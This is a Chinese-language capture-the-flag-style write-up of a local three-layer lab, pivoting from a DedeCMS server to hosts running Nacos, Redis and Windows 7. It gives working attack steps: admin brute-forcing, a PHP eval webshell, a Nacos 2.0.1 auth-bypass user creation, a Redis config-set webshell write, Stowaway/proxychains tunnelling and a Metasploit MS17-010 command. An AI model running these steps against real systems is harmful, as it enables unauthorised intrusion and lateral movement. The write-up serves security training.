本次我们以三层网络渗透(三设备),在本地复现其渗透测试及内网渗透的知识点,本次学习内容包含(信息收集、信息泄露、代码审计流程、后台漏洞、专项漏洞训练、组合拳webshell、主机漏洞等);
文章目录
-
- 前置准备
- DMZ主机渗透
- 内网PC主机横向
-
- Socks代理搭建
- (1)浏览器插件转发流量
- (2)proxifier转发流量
- (3)Kali转发流量
- 内网PC的80服务
- 内网PC的Redis服务(失败)
- 内网PC的nacos服务
- [Nacos 2.0.1未授权访问漏洞](#Nacos 2.0.1未授权访问漏洞)
- 成功登陆Redis服务,并上传Webshell
- 信息收集
- 内网服务器横向
- 总结
前置准备
本次我们以三层网络渗透(三设备),在本地复现其渗透测试及内网渗透的知识点。同时,本次学习内容包含(信息收集、信息泄露、代码审计流程、后台漏洞、专项漏洞训练、组合拳webshell、主机漏洞等):
网络拓扑结构如图:

环境及所需工具下载地址:https://pan.quark.cn/s/9de384312d0f(请确保安装盘硬盘容量大于15G)
本次靶场以及WP版权作者:州弟学安全
- 本次文章仅为本地学习复现,请勿对外进行互联网未授权攻击,造成的后果自行承担
- 内容中若涉及侵权素材,敬请版权方及时联系,我方将第一时间删除并妥善处理
环境介绍
本环境模拟了一个包含DMZ区、二层网络和三层网络的多层内网渗透场景。
- DMZ (Layer 1): Windows Server (192.168.44.176 / 10.10.10.22),运行 DedeCMS (8080端口) 和 FTP (21端口)。
- Layer 2: Linux (10.10.10.23 / 10.10.20.11),运行
Nginx(80端口, 含phpinfo)、Redis(6379端口) 和Nacos(8848端口)。 - Layer 3: Windows 7 (10.10.20.12),存在 MS17-010 漏洞。
- (这里的Windows7是我自己配的,因为作者给的文件并没有)
公网网段:192.168.44.0/24
一层内网网段:10.10.10.0/24
二层内网网段:10.10.20.0/24
该环境用于演练多层内网环境下的横向移动和代理搭建技术,包括:
- 信息收集与漏洞利用(DedeCMS文件上传、Nacos未授权、Redis写Webshell、MS17-010)。
- 多级代理搭建与应用(FRP、proxychains、Proxifier)。
- 代码审计基础(定位文件上传漏洞)。
- 跨网段扫描与渗透。
DMZ :
administrator/P@ssw0rd1
Layer 2 :dmz/P@ssw0rd2
Layer 3 :pro/P@ssw0rd3
任务要求:
(1)拿下DMZ区设备后获取DMZ区administrator桌面下flag文件值
(2)拿下二层网络设备获取某服务内的flag
(3)拿下二层网络设备后获取根目录下flag文件值
(4)拿下三层网络设备后获取pro用户桌面下的flag文件值
话不多说,直接开始;
DMZ主机渗透
探测服务以及端口
首先我们直到DMZ主机的网段为192.168.44.0/24 ,所以我们可以对该网段就行扫描,看看目标主机的具体IP地址是多少:
bash
# 网段扫描
nmap -sP 192.168.44.0/24
# 详细信息收集
nmap -sC -sV -A -p- 192.168.44.176
发现目标主机IP地址为192.168.44.176
接下来我们看其开放了哪些服务以及端口:

得到结果:
- 21端口:FTP服务(文件传输)
- 135端口:MSRPC服务(进程通信)
- 139端口:NetBIOS-SSN(文件共享)
- 445端口:
SMB服务(文件共享) - 3306端口:
MySQL服务(数据库) - 5357端口:HTTPAPI(设备发现)
- 5985端口:WinRM服务(远程管理)
- 8080端口:
Nginx服务(Web服务)
这里我为大家列出几个常见漏洞的端口服务,我们接下来就对该主机进行详细的漏洞探测;
DedcCMS信息收集
我们输入网址http://192.168.44.176:8080/,发现网站搭建的是一个很常用的DedeCMS框架:

DedeCMS 是国内早期非常流行的PHP 开源内容管理系统(CMS),以开源免费、模板丰富、上手简单著称,曾被广泛用于搭建企业官网、资讯站、博客等各类网站。
但由于官方后续维护基本停滞,且代码遗留了大量历史安全问题,目前已成为渗透测试中常见的高危目标。
常见的
高危漏洞:
- SQL 注入漏洞:多处参数未做严格过滤,攻击者可构造恶意 SQL 语句,窃取数据库信息甚至控制服务器。
- 文件上传漏洞:上传模块对文件类型、内容校验不严,允许上传恶意 PHP 脚本,直接获取服务器权限。
- 后台弱口令 / 默认账号:很多站点使用默认账号(如admin/admin)或弱密码,易被暴力破解进入后台。
- 任意文件读取 / 删除:部分功能点未校验文件路径,可读取服务器敏感文件(如/etc/passwd)或删除关键文件。
- 代码执行漏洞:部分功能存在变量覆盖、函数滥用问题,可被构造恶意请求执行任意代码。
(不同版本存在漏洞不一样;)
所以我们接下来需要知道搭建的版本是多少:
在网页底部可以得到结果:

去网上搜索相应的漏洞:DedeCMS_V57_UTF8_SP2

找漏洞的出现原因涉及到代码审计,这里我就不讲了,网上有很多好的文章大家可以去看看;
这里我们对该网站进行Web目录扫描:
bash
python dirsearch.py -u http://192.168.44.176:8080/
# 去除404,403页面
python dirsearch.py -u http://192.168.44.176:8080/ -x 404,403
# 保留相应的页面
python dirsearch.py -u http://192.168.44.176:8080/ -i 200,301
得到结果:


根据结果,访问http://192.168.44.176:8080/**install** /,返回了一个dir?

http://192.168.44.176:8080/**uploads** 的结果与/install 也是一样的;
随后访问:http://192.168.44.176:8080/**member**

DedeCMS上传shell
思路:
- 现进行了身份验证,所以我们只能尝试先登陆系统 ,再上传文件;
如果失败,弱口令爆破,再上传文件;
于是我们尝试创建一个账号登陆:

发现失败了,那只能弱口令爆破了:

打开bp抓包,输入我们的字典:
在后台登陆界面:http://192.168.44.176:8080/dede/login.php


得到结果:admin / admin

既然进入到系统内部了,我们直接在里面添加一句话木马即可:
方法一:在前台模块上传木马


蚁剑连接也是成功的:(用冰蝎,哥斯拉等都可以,看个人)

这里为什么不添加一个新的php文件呢?
- 因为我们不知道添加到新文件在公网的具体路径(也就是http://xx.xx./123.php)在哪里;
- 所以这里我选择上传到index.php里,方便快捷;
方法二:发布文章上传php文件(失败)

上传一个图片马或图片,绕过前端mime验证,写入一句话木马,可以看到路由正是我们审计的前端调用文件:

删除上传图片的多余部分并修改扩展名为php,其它不用修改,上传成功后看到响应包中的绝对路径,如一直上传失败,且上传方法无误,则可能是DMZ区的机器自动开启的WD杀软,自行关闭即可;
这里如果失败了,可能是触碰到了CMS的关键词检测:

可以对一句话木马进行编码,再上传;
方法三:MySQL日志注入(失败)
在旁边的管理页面,我还发现存在SQL命令执行工具:

执行语句发现可以返回结果:
bash
SELECT CURRENT_USER();
SELECT USER();
但是想查看日志位置以及开启等敏感操作时,却又没有回显了:
bash
SHOW GLOBAL VARIABLES LIKE "%secure%"
SHOW VARIABLES LIKE "general_log%";

分析:
-
原因一(权限/账号层面)
- 你当前通过 DedeCMS 注入执行 SQL 时,实际使用的是受限数据库账号 (如只有
SELECT权限); select users();这类函数是允许普通查询返回的 ,但show variables / show global variables属于管理级语句,需要更高权限;- 权限不足就会被 MySQL 直接拒绝或不返回结果。
- 你当前通过 DedeCMS 注入执行 SQL 时,实际使用的是受限数据库账号 (如只有
-
原因二(框架/WAF 层面)
- DedeCMS 本身对 SQL 关键字有一定过滤,很多环境还叠加了 WAF/安全插件,
SHOW、GLOBAL、log、secure等关键词常被拦截; - 即便 SQL 注入点可用,框架也可能只允许"返回型 SELECT",对非查询型或敏感语句直接吞掉结果。
- DedeCMS 本身对 SQL 关键字有一定过滤,很多环境还叠加了 WAF/安全插件,
用蚁剑连接成功后,成功在DMZ主机发现了flag1:

fscan等工具收集信息
我们比较幸运,这次拿到的直接就是SYSTEM权限:(不然的话还得使用MSF或者CS进行提权)

我们查看网段时发现,DMZ主机有两个网段:

所以我们合理推测,内网网段还存在其他资产,需要我们进行信息收集;
上传fscan等工具进行探测:(因为当前主机属于Windows系统,所以执行fscan.exe)

上传文件:


执行程序,得到结果:

我们可以得到:内网的另一台主机PC开启了许多服务:
主机:10.10.10.23
- 80 端口:HTTP 服务(Web 访问)
- 6379 端口:Redis 服务(缓存数据库)
- 8848 端口:Nacos 服务(服务注册)
并且根据结果我们可以看到nacos服务存在两个可用POC:
bash
- poc-yaml-alibaba-nacos
- poc-yaml-alibaba-nacos-v1-auth-bypass
内网PC主机横向
Socks代理搭建
接下来的问题:我们Kali处于外网,如何能够访问到内网进行横向呢?
- 搭建隧道代理;
搭建隧道的工具有很多,这里我使用的是stowaway:

这里简单画了个图,方便理解:

这里我在自己的公网VPS(可以用Kali代替)开启admin节点后:
bash
./admin -l 9999 -s 123456

在DMZ主机进行客户端连接:
bash
agent.exe -c VPS地址:9999 -s 123456
成功连接节点:

(可以看到就是DMZ主机的shell)
(1)浏览器插件转发流量
我们之前不是还碰到了10.10.10.23的内网PC主机吗,现在我们就可以访问其网页了;
先建立一个端口来转发流量:

随后用浏览器插件访问:(用proxifier也行)

成功访问:

(2)proxifier转发流量
打开后先选择"代理服务器":

新建一个,填入VPS / Kali地址与端口:

填写代理规则:

随后即可访问:

proxifier上也可以看到有流量经过:

(3)Kali转发流量
在kali自带的工具里:proxichains
在/etc/proxychains.conf中进行编辑代理规则,代理地址为VPS(stowaway服务端)的IP及端口:

随后测试:

(10.10.10.23:80下有phpinfo.php文件(后续信息收集得到),这个方法是我后面想到才加上来的,不然只能给兄弟们学到两种方法,太可惜了~)
完成设置;
注意:
- 使用浏览器插件,只能在浏览其中转发流量;
- 使用proxifier,可以在本机PC全局转发流量(也就是说可以使用工具对10.10.10.0/24网段探测,而插件是不可以的)
内网PC的80服务
注意 :
(重要的事说两次!)
- 使用浏览器插件,只能在浏览其中转发流量;
- 使用proxifier,可以在本机PC全局转发流量(也就是说可以使用工具对10.10.10.0/24网段探测,而插件是不可以的)

Web枚举后可以得到一个敏感文件phpinfo:

进行查看, 通过扫描发现,80端口存在phpinfo文件,此时使用攻击机访问此页面,phpinfo泄露了绝对路径 :

那么是否可以根据泄露的绝对路径,使用redis写入webshell进行连接呢?
内网PC的Redis服务(失败)
那么是否可以根据泄露的绝对路径,使用redis写入webshell进行连接呢?
我们使用kali连接redis,执行命令看到需要输入密码验证:
bash
proxychains redis-cli -h 10.10.10.23

可以发现无密码成功进入Redis服务:
想要执行命令,却发现需要认证授权:

(执行命令看到需要输入密码验证)
随后尝试密码爆破,但也失败了:
内网PC的nacos服务
注意 :
(重要事情说三次!)
- 使用浏览器插件,只能在浏览其中转发流量;
- 使用proxifier,可以在本机PC全局转发流量(也就是说可以使用工具对10.10.10.0/24网段探测,而插件是不可以的)
访问后 **http://10.10.10.23:8848/nacos/#/login**,页面如下:

小阴招:这里我们疯狂点左上角的图标,可以得到它的版本号: NACOS 2.0.1


对其进行Web枚举,查看是否存在其他可利用的目录:

可以看到无可用信息;
Nacos 2.0.1未授权访问漏洞
并且根据之前还发现了nacos服务存在两个可用POC:
bash
- poc-yaml-alibaba-nacos
- poc-yaml-alibaba-nacos-v1-auth-bypass
根据版本NACOS 2.0.1和两个POC,我们去网上查看它的利用方法:
- 第一步:先试试nacos默认口令、弱口令,尝试后后发现不存在弱口令

- 第二步 :即然弱口令不行,那肯定要试一下
未授权访问,这里尝试读取用户列表,即/nacos/v1/auth/users
发现响应包有提示,如下图

那就补上去:

终于,/nacos/v1/auth/users?pageNo=1&pageSize=1 返回了结果:

随后多次尝试,发现越来越多:

看到有nacos账户,密码证明漏洞存在;
- 第三步:任意用户添加
访问 http://10.10.10.23:8848/nacos/v1/auth/users?username=PCuser\&password=PCpass 上述链接,抓包修改请求访问为POST,方法即可创建任意用户:

随后登陆系统:

进入nacos服务,发现有三个配置文件(nacos低版本在实战中利用漏洞进入系统,往往会泄露大量敏感信息)
其中一个为flag:

另外两个可能是什么系统的账号和密码:



有没有可能是SSH密码或者说是Redis服务的密码?
成功登陆Redis服务,并上传Webshell
分别验证一下,发现确实是Redis服务的:
bash
# 输入密码
auth P@ssw0rd_sec

此redis版本存在主从复制漏洞,但无法进行利用;
- 因为主从复制漏洞需要
本地IP或者VPS; - 而当前机器在内网里,映射不到攻击机上面的,所以这里不考虑;
前面已从phpinfo获取到了web绝对路径,此处尝试写入webshell:
bash
config set dir /var/www/html
config set dbfilename shell_PC.php
set x "\r\n\r\n<?php @eval($_POST['cmd']);?>"
save
结果如下:

前往蚁剑进行连接,此处可以使用蚁剑自行配置代理,或proxifier指定文件:
访问地址:http://10.10.10.23/shell_PC.php

成功拿下二层设备shell,连接身份IP以DMZ的IP进行连接发包;
信息收集

我们继续进行信息收集,发现了第二层内网网段:10.10.20.0/24

在根目录下获取flag进行提交:

第二部分考察点:
- 主机的信息收集及二层资产扫描
- 敏感文件扫描及可用信息判断
- 其它服务可能存在的漏洞规划
- 漏洞利用技能和信息收集能力
- 特定服务的漏洞利用最大化
内网服务器横向
在上面我们拿到了内网二层设备的shell权限,以及相对性的进行flag信息收集步骤,在接着查看网卡信息,看到还有10.10.20.0/24段

还是老样子,仍然使用fscan工具进行扫描,因为二层设备是Linux,所以使用fscan-Linux版本进行扫描(stowaway也得使用Linux版本~)

这里我上传到 /tmp 目录下;
bash
chmod +x fscan
./fscan -h 10.10.20.0/24
结果如下:

还有可用的POC:
bash
10.10.20.11:8848 open
10.10.20.11:22 open
10.10.20.11:6379 open
10.10.20.12:445 open
10.10.20.12:139 open
10.10.20.12:135 open
10.10.20.12:9008 open
10.10.20.11:80 open
[*] WebTitle http://10.10.20.11 code:200 len:0 title:None
[*] WebTitle http://10.10.20.11:8848 code:404 len:431 title:HTTP Status 404 -- Not Found
[*] NetInfo
[*]10.10.20.12
[->]ok-PC
[->]192.168.44.145
[->]10.10.20.12
[*] OsInfo 10.10.20.12 (Windows 7 Enterprise 7601 Service Pack 1)
[+] PocScan http://10.10.20.11:8848 poc-yaml-alibaba-nacos
[*] WebTitle https://10.10.20.12:9008 code:403 len:245 title:403 Forbidden
[+] PocScan http://10.10.20.11:8848 poc-yaml-alibaba-nacos-v1-auth-bypass
配置二层socks代理
随后我们在DMZ主机上执行admin服务端,内网PC主机则执行agent客户端:

进入node 0 节点,设置监听端口,开启监听模式:

- DMZ主机(Windows主机)

bash
./agent -c 10.10.10.22 -s 123456
- 服务端:成功上线一个新的node 1

方法一:打开kali,通过MSF进行攻击:
bash
msfconsole -q
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set proxies socks5:117.72.218.141:1082
set rhosts 10.10.20.12]
run
最后打开3389,访问桌面:

方法二:proxifier添加新代理
添加新的代理服务器:

新的代理规则:

如果内网服务器,开放有http等服务,输入 http://10.10.20.12 即可访问;
总结
总的来说,内网横向是一件很好玩的事情,限制于篇幅,我无法把所有的方法都展现出来;
不止三层,如有N层都可以用此方法进行渗透测试,希望本篇文章及视频帮助到大家(学习、大赛、工作、兴趣爱好)
期待下次再见;